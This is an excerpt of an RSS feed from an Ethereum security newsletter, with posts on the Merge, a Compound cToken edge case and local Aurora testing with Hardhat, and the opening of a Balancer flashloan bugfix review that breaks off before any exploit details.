noreferrer nofollow ugc" class="dont-break-out" href="https://nimbus.team/">nimbus</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://lodestar.chainsafe.io/">lodestar</a></p></li></ul><p>With multiple client implementations on both layers, there are several different combinations of execution and consensus clients. <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernodes.org/">Here is a dashboard on the client statistics in the Ethereum blockchain</a>.</p><blockquote><p>🔮 <em>Having multiple client implementations allows for quickly switching to different clients in case a bug or vulnerability is found, ensuring a better resilience of the network. </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://clientdiversity.org/"><em>Here is a dashboard conveying data on Ethereum client diversity.</em></a></p></blockquote><hr><h2 id="h-part-iii-the-merge" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">PART III: THE MERGE</h2><h2 id="h-node-operators" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🪢⚙️ Node operators</h2><p>The changes for non-validating Ethereum node operators were the requirement to run clients for both the execution layer and the consensus layer.</p><p>Stakers running their own node setup or infrastructure had to make sure:</p><ol><li><p>both a consensus client and an execution client are running</p></li><li><p>both clients are authenticated with a shared JWT secret</p></li><li><p>a fee recipient address was set (to receive earned transaction fee tips/MEV)</p></li></ol><blockquote><p>🔮 <em>If you are interested in running your own Ethereum mainnet or testnet node, check my comprehensive notes </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/bt3gl-labs/1337_mev_toolkit/tree/main/nodes"><em>here</em></a><em>.</em></p></blockquote><h2 id="h-the-moment-of-the-merge" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🐼💾 The moment of the Merge</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c989be11eb89a41081253e74a72a727f448d0e9fba90f780e8b4601877e6cbc9.png" alt="our terminals during the merge 💚" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">our terminals during the merge 💚</figcaption></figure><p>At the moment of the Merge, execution clients started listening to blocks coming from the PoS chain.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e4c0255a9788ada26eb606b4986f46e8ee65ec8aa573296fd96dfa3d0ee61b98.png" alt="https://twitter.com/lvanseters/status/1570303438705295362" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/lvanseters/status/1570303438705295362</figcaption></figure><p>Once PoS took over from PoW, execution engines stopped gossiping blocks. This meant deprecating the <code>NewBlockHashes</code> and <code>NewBlock</code> handlers at the peer-to-peer layer.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/af2cbc8d8eb5bab4c86f4827a8dbe075b0dc469d7db4f6810d043d7b26e2b396.png" alt="https://twitter.com/gakonst/status/1570303163680583680" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/gakonst/status/1570303163680583680</figcaption></figure><p>The execution layer was still in charge of syncing the network state, gossiping transactions, handling transaction fees, and maintaining its transaction pool.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7ebd232fa970a6bf3616d5fd97c63005d5c47410935a66f3825de45f1acbf30f.png" alt="https://twitter.com/CirrusNFT/status/1570308547107516418" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/CirrusNFT/status/1570308547107516418</figcaption></figure><h2 id="h-the-new-kids-in-the-block" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">😎🧮 The new kids in the block</h2><p>Since the Merge came with changes to consensus, this included changes related to block structure, slot/block timing, opcode changes, sources of on-chain randomness, and the concept of <em>safe head</em> and <em>finalized blocks.</em></p><p>The <code>ExecutionPayloads</code> is the post-merge equivalent of blocks in the PoW chain, and the execution engine ensures that all transaction senders can pay at least the current <code>baseFeePerGas</code> and that any extra fees are sent to <code>feeReceipient</code> (a &quot;legacy&quot; Ethereum address).</p><p>Anything related to mining (<code>difficulty</code>, <code>mixHash</code>, <code>nonce</code>) or ommers (<code>ommers</code>, <code>ommersHash</code>) had to be changed. Several block fields were set to 0 (or their data structure&apos;s equivalent). The length of <code>extraData</code> was also capped to 32 bytes on mainnet.</p><p>This is a high-level overview of how blocks are processed after the Merge:</p><ol><li><p>a validator is chosen to propose a block</p></li><li><p>this validator asks its execution layer, via the Engine API, to send them an <code>ExecutionPayload</code></p></li><li><p>the execution layer returns a payload that contains the most profitable set of valid transactions</p></li><li><p>the consensus layer proposes a block including this payload and propagates it on the chain</p></li></ol><h2 id="h-block-time-and-variance" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">⏰🥓 Block time and variance</h2><p>While the block time on PoW averages around 13 seconds, on PoS the time is divided into fixed-duration slots of 12 seconds (however, some slots can miss a block making the average block time higher than 12 seconds but still lower than 13 seconds).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8589f72e2b7c64612dfbb1723cecd26c6543eedcba1243c2e168a4f2272bc164.png" alt="https://twitter.com/natemaddrey/status/1570856077788585984" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/natemaddrey/status/1570856077788585984</figcaption></figure><p>The merge also reduced the block time variance, and on average, we can expect faster transaction confirmations.</p><hr><h2 id="h-tl-dr-whats-next" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr: what’s next</h2><ul><li><p>The Shanghai update, predicted for 2023, will introduce <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eips.ethereum.org/EIPS/eip-3540">EIP-3540</a> (also known as the EVM object format) and enable withdrawals.</p></li><li><p><strong>The Surge is a</strong> massive scalability increase for rollups through <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/upgrades/sharding/">sharding</a>, planned for 2023. The main innovation of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://notes.ethereum.org/@vbuterin/proto_danksharding_faq">Danksharding</a> is a merged fee market. Instead of a fixed number of shards with different blocks and proposers, one randomly-chosen proposer picks all transactions and data for each slot.</p></li><li><p><strong>The Verge</strong> will be implementing <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://vitalik.ca/general/2021/06/18/verkle.html">Verkle trees</a> (which are much more efficient in proof size) and stateless clients.</p></li><li><p><strong>The Purge</strong> will be eliminating historical data (hence, reducing the amount of data needed to be stored by a validator).</p></li><li><p><strong>The Splurge</strong> will be looking at consensus &amp; MEV. Ethereum will implement <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://notes.ethereum.org/@vbuterin/pbs_censorship_resistance">Proposal-Builder Separation</a> for the consensus layer, achieving centralized block production and decentralized block verification.</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/578f1da91d1a059190b469c2962d9fdd074a09828e369afc3da8d7750d014164.jpg" alt="https://twitter.com/VitalikButerin/status/1588669782471368704" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/VitalikButerin/status/1588669782471368704</figcaption></figure><hr><h3 id="h-bonus-the-day-after-the-merge" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">bonus: the day after the merge ( :</h3><div data-type="youtube" videoId="FvflDadgf2I">
      <div class="youtube-player" data-id="FvflDadgf2I" style="background-image: url('https://i.ytimg.com/vi/FvflDadgf2I/hqdefault.jpg'); background-size: cover; background-position: center">
        <a href="https://www.youtube.com/watch?v=FvflDadgf2I">
          <img src="{{DOMAIN}}/editor/youtube/play.png" class="play"/>
        </a>
      </div></div><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/d8c2418e4c4bf3228cc9723f8245753b7e81f6391b9a57503667fe7389213b6e.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on ctokens, aurora, hardhat forks]]></title>
            <link>https://paragraph.com/@go-outside/on-ctokens-aurora-hardhat-forks</link>
            <guid>Wq2h1xZGHNHECOpAT9Yc</guid>
            <pubDate>Tue, 20 Sep 2022 09:45:01 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over aurora on hardhat shenanigans and compound’s ctoken smart contract frolicsomeness.🎶 today’s moodhttps://open.spotify.com/track/4NlgvYgF7rny6rt17WCmGf?si=ac3dc59ff3ab4473The Compound Protocol is an Ethereum smart contract for supplying or borrowing assets. Accounts supply capital (ether or ERC-20 tokens) to receive cTokens or borrow assets from the protocol with other collateral assets. Each asset supported by the Compound Protocol is integrated through a cToken contract...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.aurorachain.io/">aurora</a> on hardhat shenanigans and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://compound.finance/">compound’s</a> ctoken smart contract frolicsomeness.</p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/4NlgvYgF7rny6rt17WCmGf?si=ac3dc59ff3ab4473">https://open.spotify.com/track/4NlgvYgF7rny6rt17WCmGf?si=ac3dc59ff3ab4473</a></p><hr><p>The <strong>Compound Protocol</strong> is an Ethereum smart contract for supplying or borrowing assets. Accounts supply capital (ether or ERC-20 tokens) to receive <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.compound.finance/v2/ctokens/"><strong>cTokens</strong></a> or borrow assets from the protocol with other collateral assets.</p><p>Each asset supported by the Compound Protocol is integrated through a cToken contract, an <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eips.ethereum.org/EIPS/eip-20"><strong>EIP-20</strong></a> compliant representation of balances supplied to the protocol, and is assigned a rate and a risk model. <strong>CTokens</strong> contains <strong>CErc20</strong> and <strong>CEther</strong> as public interfaces for ERC20 tokens and ether.</p><p>These are beautiful smart contracts, but like any code, they can carry some intriguing edge cases. Looking at the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/compound-finance/compound-protocol/blob/master/contracts/CToken.sol#L293-L300"><strong>Compound’s cTokens contract</strong></a>, an interesting boundary condition happens when <code>cToken.totalSupply == 0.</code></p><p>For context, the total supply of a coin includes only the coins that were already produced minus the units that were destroyed (for instance, in coin burn events).</p><p>When we look at the contract, we realize that if, for some reason, the total supply of the token goes to zero, then the exchange rate would depend on an input parameter called <code>initialExchangeRateMantissa</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3f18392bf6fd2a655f31f9f78fbbcd14ff6789d106e57ea247d64080891a12c5.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-aurora-on-hardhat" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Aurora on Hardhat</h2><p>We all know how popular the Compound protocol is. We all know that many sidechains implement the same concepts and primitives as the ones found in Ethereum - sometimes reproducing many parts of the original smart contracts.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://aurora.dev/"><strong>Aurora</strong></a> is an Ethereum Virtual Machine (EVM) built on the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://medium.com/dia-insights/hello-near-protocol-dia-oracles-now-available-natively-on-near-3bbef5b3f13"><strong>NEAR Protocol</strong></a>, with Ethereum as its native token. With Aurora’s EVM, Ethereum native applications can be ported to NEAR’s L2 network, which is built as a smart contract on NEAR. Some non-custodial liquidity protocols in Aurora are <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.aurigami.finance/">Aurigami</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wepiggy.com/">WePiggy</a>.</p><blockquote><p>💡 <em>How would I test submissions (PoCs and smart contracts) for these projects without testing code on public testnets or mainnets?</em></p></blockquote><p>There are several development environment tools and tricks that I will be talking about in future posts (I am a nerd; I like to try and test all the things). But for this first post, we will be working with the good ol’ <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://hardhat.org/"><strong>Hardhat</strong></a>, the popular Ethereum development environment.</p><p>In the last part of this post, let’s go over some tricks when deploying and interacting with the Solidity smart contracts on Aurora using Hardhat.</p><h3 id="h-forking-a-specific-block" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Forking a specific block</h3><p>Hardhat will, by default, fork from the latest Ethereum mainnet block. However, often, a test suite might depend on forking a particular block number. Additionally, pinning a specific block enables caching and speed improvements, since if you don&apos;t pin the block, new data will be fetched with each new block.</p><p>For this setup, you will need access to a node with archival data, such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.alchemy.com/"><strong>Alchemy</strong></a> or <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://infura.io/">Infura</a> or <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereumnodes.com/">any in this list</a>. Create an account and grab the RPC URL and API key.</p><p>To pin a block number, you can either simply add the info into the <strong>hardhat.config.js</strong> file:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/656c3b04707dcf0d603acbcdc313e2976bffac1ebf604307b7c89ba85ae77a7f.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Or, if you are using a node task, you can specify a block number with the <strong>--fork-block-number</strong> flag:</p><pre data-type="codeBlock" text="npx hardhat node --fork &lt;node provider url&gt; --fork-block-number &lt;block number&gt;
"><code>npx hardhat node <span class="hljs-operator">-</span><span class="hljs-operator">-</span>fork <span class="hljs-operator">&#x3C;</span>node provider url<span class="hljs-operator">></span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span>fork<span class="hljs-operator">-</span><span class="hljs-built_in">block</span><span class="hljs-operator">-</span>number <span class="hljs-operator">&#x3C;</span><span class="hljs-built_in">block</span> number<span class="hljs-operator">></span>
</code></pre><p>To confirm that you have forked the latest block from Ethereum mainnet, you can send the following curl request:</p><pre data-type="codeBlock" text="$ curl --location --request POST &apos;localhost:8545/&apos; --header &apos;Content-Type: application/json&apos;  --data-raw &apos;{ &quot;jsonrpc&quot;:&quot;2.0&quot;, &quot;method&quot;:&quot;eth_blockNumber&quot;, &quot;params&quot;:[], &quot;id&quot;:83 }&apos;
"><code>$ curl <span class="hljs-operator">-</span><span class="hljs-operator">-</span>location <span class="hljs-operator">-</span><span class="hljs-operator">-</span>request POST <span class="hljs-string">'localhost:8545/'</span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span>header <span class="hljs-string">'Content-Type: application/json'</span>  <span class="hljs-operator">-</span><span class="hljs-operator">-</span>data<span class="hljs-operator">-</span>raw <span class="hljs-string">'{ "jsonrpc":"2.0", "method":"eth_blockNumber", "params":[], "id":83 }'</span>
</code></pre><p>You  should receive a response like:</p><pre data-type="codeBlock" text="{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:83,&quot;result&quot;:&quot;0xf1ed3&quot;}
"><code><span class="hljs-punctuation">{</span><span class="hljs-attr">"jsonrpc"</span><span class="hljs-punctuation">:</span><span class="hljs-string">"2.0"</span><span class="hljs-punctuation">,</span><span class="hljs-attr">"id"</span><span class="hljs-punctuation">:</span><span class="hljs-number">83</span><span class="hljs-punctuation">,</span><span class="hljs-attr">"result"</span><span class="hljs-punctuation">:</span><span class="hljs-string">"0xf1ed3"</span><span class="hljs-punctuation">}</span>
</code></pre><p>Use a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.rapidtables.com/convert/number/hex-to-decimal.html"><strong>Hex converter</strong></a> to retrieve the block number.</p><h3 id="h-setting-up-aurora-network" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Setting up Aurora Network</h3><p>This session is partially based on Aurora’s official guide, found <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://doc.aurora.dev/interact/hardhat">here</a>. To set up Aurora in Hardhat, clone their ERC-20 examples:</p><pre data-type="codeBlock" text="git clone https://github.com/aurora-is-near/aurora-examples.git  
cd aurora-examples/hardhat/erc20/
"><code>git clone https:<span class="hljs-comment">//github.com/aurora-is-near/aurora-examples.git  </span>
cd aurora<span class="hljs-operator">-</span>examples<span class="hljs-operator">/</span>hardhat<span class="hljs-operator">/</span>erc20<span class="hljs-operator">/</span>
</code></pre><p>Now, let’s set up Hardhat from this folder (you can start a new Hardhat project there).</p><p>Place the contract with the proof of concept inside <strong>contracts/</strong> and the deployment script inside <strong>scripts/</strong>.</p><p>By the way, this is a simple deployment script that I use often:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bfe2095dca2bc2e185a594e650648608cac723fa5e25b6908b890acb1dda3763.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Finally, add the Aurora network configuration to <strong>hardhat.config.js</strong>. For private keys in localhost, you can copy the values provided by Hardhat accounts. Note that I am adding Aurora’s mainnet and testnet as well. However, we will only use <code>aurora_local</code>, the <code>defaultNetwork</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/59cff21cd0b5c15361b6e9d93883f23c26e19ed1e082eab5ef660dc90f775103.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>We are ready to run things. Let’s compile the contract:</p><pre data-type="codeBlock" text="$ npx hardhat compile
"><code>$ npx hardhat <span class="hljs-built_in">compile</span>
</code></pre><p>And deploy it with:</p><pre data-type="codeBlock" text="$ make deploy NETWORK=aurora_local
"><code>$ make deploy <span class="hljs-attr">NETWORK</span>=aurora_local
</code></pre><p>which is the same as:</p><pre data-type="codeBlock" text="$ npx hardhat run scripts/deploy.js --network aurora_local
"><code>$ npx hardhat run scripts<span class="hljs-operator">/</span>deploy.js <span class="hljs-operator">-</span><span class="hljs-operator">-</span>network aurora_local
</code></pre><p>Now that the contract is deployed, you may interact with it the way you like. I use the Hardhat console often:</p><pre data-type="codeBlock" text="$ npx hardhat console
&gt; const Contract = await ethers.getContractFactory(&apos;&lt;contract name&gt;&apos;);
&gt; const c = await Contract.attach(&apos;&lt;contract address&gt;&apos;)
&gt; await c.someFunction()
"><code>$ npx hardhat console
<span class="hljs-operator">></span> const Contract <span class="hljs-operator">=</span> await ethers.getContractFactory(<span class="hljs-string">'&#x3C;contract name>'</span>);
<span class="hljs-operator">></span> const c <span class="hljs-operator">=</span> await Contract.attach(<span class="hljs-string">'&#x3C;contract address>'</span>)
<span class="hljs-operator">></span> await c.someFunction()
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"></h3><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/b8da983e97cd8d46662d8bb90e2ae3a3180d305861956e6185db4b240d33485d.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on balancer's denial-of-service vulnerability]]></title>
            <link>https://paragraph.com/@go-outside/on-balancer-s-denial-of-service-vulnerability</link>
            <guid>615OBkT3AigHS0HQAC45</guid>
            <pubDate>Wed, 20 Jul 2022 02:35:23 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over a vulnerability for $BAL that could result on DoS by emptying double entry-point ERC20 tokens through flashloans. This post is adapted from the bugfix review i wrote for immunefi.🎶 today’s moodhttps://open.spotify.com/track/2gRLsIZ7iYYbGVpIYK5idR?si=d8daed01ddd24d90Quick && dirty intro to AMMs and the Balancer protocolAutomated market makers (AMMs) are smart contracts that enable automated management of crowdsourced liquidity pools (LP), providing tradable tokens to dec...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over a vulnerability for <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://balancer.fi/">$BAL</a> that could result on DoS by emptying double entry-point ERC20 tokens through <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.balancer.fi/concepts/features/flash-loans">flashloans</a>.</p><p><em>This post is adapted from the </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://medium.com/immunefi/balancer-dos-bugfix-review-8a8ba5d971bf"><em>bugfix review i wrote for immunefi.</em></a></p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/2gRLsIZ7iYYbGVpIYK5idR?si=d8daed01ddd24d90">https://open.spotify.com/track/2gRLsIZ7iYYbGVpIYK5idR?si=d8daed01ddd24d90</a></p><hr><h1 id="h-quick-andand-dirty-intro-to-amms-and-the-balancer-protocol" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Quick &amp;&amp; dirty intro to AMMs and the Balancer protocol</h1><p><strong>Automated market makers</strong> (AMMs) are smart contracts that enable automated management of crowdsourced <strong>liquidity pools</strong> (LP), providing tradable tokens to decentralized exchanges (DEX). AMMs are an important primitive in DeFi, as anyone can deposit their own tokens in an AMM LP, receiving a share of trading fees and the LP tokens in return.</p><p>In the traditional trading model, buyers and sellers use something called an <strong>order book</strong>, where they write down what they want to trade in a huge list with everyone’s trades. The behavior of the buyers and sellers controls the market rates in the order book.</p><p>AMMs, however, do not rely on humans to manage trades, which are controlled directly by algorithms. An AMM replaces the buy and sell orders in an order book market with a liquidity pool of two assets, both valued relative to each other. As one asset is traded for the other, the relative prices of the two assets shift, and the new market rate for both is re-calculated.</p><p>The majority of AMMs use the <strong>constant mean market maker equation</strong> (also known as the constant product equation) to define how liquidity pools behave:</p><pre data-type="codeBlock" text="Balance of token A * Balance of token B = Constant product
"><code>Balance of token <span class="hljs-selector-tag">A</span> * Balance of token <span class="hljs-selector-tag">B</span> = Constant product
</code></pre><p>For example, in a pool with 2,000,000 tokens A and 1,000 tokens B, the constant product is 2,000,000,000. This inverse correlation then determines the trading price of the assets at any moment, as the price of one token increases when the price of the second token decreases:</p><pre data-type="codeBlock" text="Market price for token A = Balance of token / Balance of  token A
"><code>Market price for token <span class="hljs-selector-tag">A</span> = Balance of token / Balance of  token <span class="hljs-selector-tag">A</span>
</code></pre><p>The price curve is often utilized as a way to visualize this relation:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f9438270761178603663ebf74fbcb0e8e50145342561695b81dabdc8daa1b0c9.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>To find the swap price for the assets in a given pool (<em>i.e.,</em> the amount of <strong>token A</strong> received when you exchange a certain quantity of <strong>token B</strong>), we calculate the balances for each token that are needed in the pool to keep the constant product unchanged after the swap:</p><pre data-type="codeBlock" text="Balance of token A - Quantity of token A received = 
(Constant product) / 
(Balance of token B + Quantity of token B paid)
"><code>Balance of token <span class="hljs-selector-tag">A</span> - Quantity of token <span class="hljs-selector-tag">A</span> received = 
(Constant product) / 
(Balance of token <span class="hljs-selector-tag">B</span> + Quantity of token <span class="hljs-selector-tag">B</span> paid)
</code></pre><p>The amount of <strong>token A</strong> received from this swap conveys the “buy price”, and it’s calculated from the relation above:</p><pre data-type="codeBlock" text="Quantity of token A received = 
(Balance of token A * Quantity of token B  paid) / 
(Balance of token B  +  Quantity of token B paid)
"><code>Quantity of token <span class="hljs-selector-tag">A</span> received = 
(Balance of token <span class="hljs-selector-tag">A</span> * Quantity of token <span class="hljs-selector-tag">B</span>  paid) / 
(Balance of token <span class="hljs-selector-tag">B</span>  +  Quantity of token <span class="hljs-selector-tag">B</span> paid)
</code></pre><hr><h2 id="h-enter-balancer" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Enter Balancer</h2><p>Launched in 2018, Balancer introduced a protocol for configurable liquidity on the Ethereum blockchain and other EVM-compatible systems. With Balancer, users are able to create liquidity pools with up to eight different ERC20 tokens, in any ratio. These pools can be thought of as automatically <strong>rebalancing portfolios,</strong> providing traders with what can be called a <strong>decentralized index fund</strong>.</p><p>Balancer routes several pools together, allowing easy trades from one token in one pool to any other token in another pool. These multi-asset pools work using what is called <strong>weighted math</strong>, designed to allow swaps between any asset whether or not they have a price correlation. Balancer&apos;s price equation is a generalization of the constant product equation, accounting for multi-tokens and weightings that are not evenly split, so that prices are determined by the pools’ balances and weights.</p><p>Balancer’s core smart contract is called <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.balancer.fi/products/the-vault">“The Vault&apos;&apos;</a>, and it controls and holds all tokens in each of the Balancer pools. The Vault’s architecture separates the <em>token accounting and management</em> from the <em>pool logic</em>, simplifying the pools’ contracts. In this architecture, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.balancer.fi/concepts/fees">Balancer’s Protocol Swap Fees</a> are the percentage of swap fees collected by pools defined on a contract named <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xce88686553686DA562CE7Cea497CE749DA109f9F#readContract">ProtocolFeesCollector.sol</a>. These fees include flashloan fees, and they are adjusted through governance by the Balancer’s DAO.</p><hr><h2 id="h-balancers-flashloan" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Balancer’s Flashloan</h2><p>Flashloans are special smart contract operations that allow the borrowing of any available amount of assets (up to the total liquidity) without collateral. This is possible as long as the liquidity plus interests are returned within one block transaction. If the borrower is unable to repay the loan, the entire transaction is simply reverted. A common use of flashloans is on arbitrage algorithms, searching for profit by trading an asset on a first DEX, and then getting back the asset plus gains on other DEXs.</p><p>In the context of Balancer, a trader could borrow any amount of tokens available on The Vault to use on a flashloan. The logic for these types of transactions is specified in the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xBA12222222228d8Ba445958a75a0704d566BF2C8#code#F5#L20">FlashLoans.sol</a> contract, more specifically in the <code>flashLoan</code> function:</p><p>1. This function starts with straightforward initializations, ensuring that the length of the token array and the amount array match, and assigning the zero address to the previousToken variable (to ensure the tokens are sorted and unique):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/4548129921fc59bb40546383d41bd5e77b09a1923ce24cb262507d61606954e1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>2. The first loop over the tokens’ array is used to record the pre-balance of each token, calculate the loan fees, and transfer each amount of token to the receiver. Note the callback function on receiver, <code>receiveFlashLoan</code>, right after the loop:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img 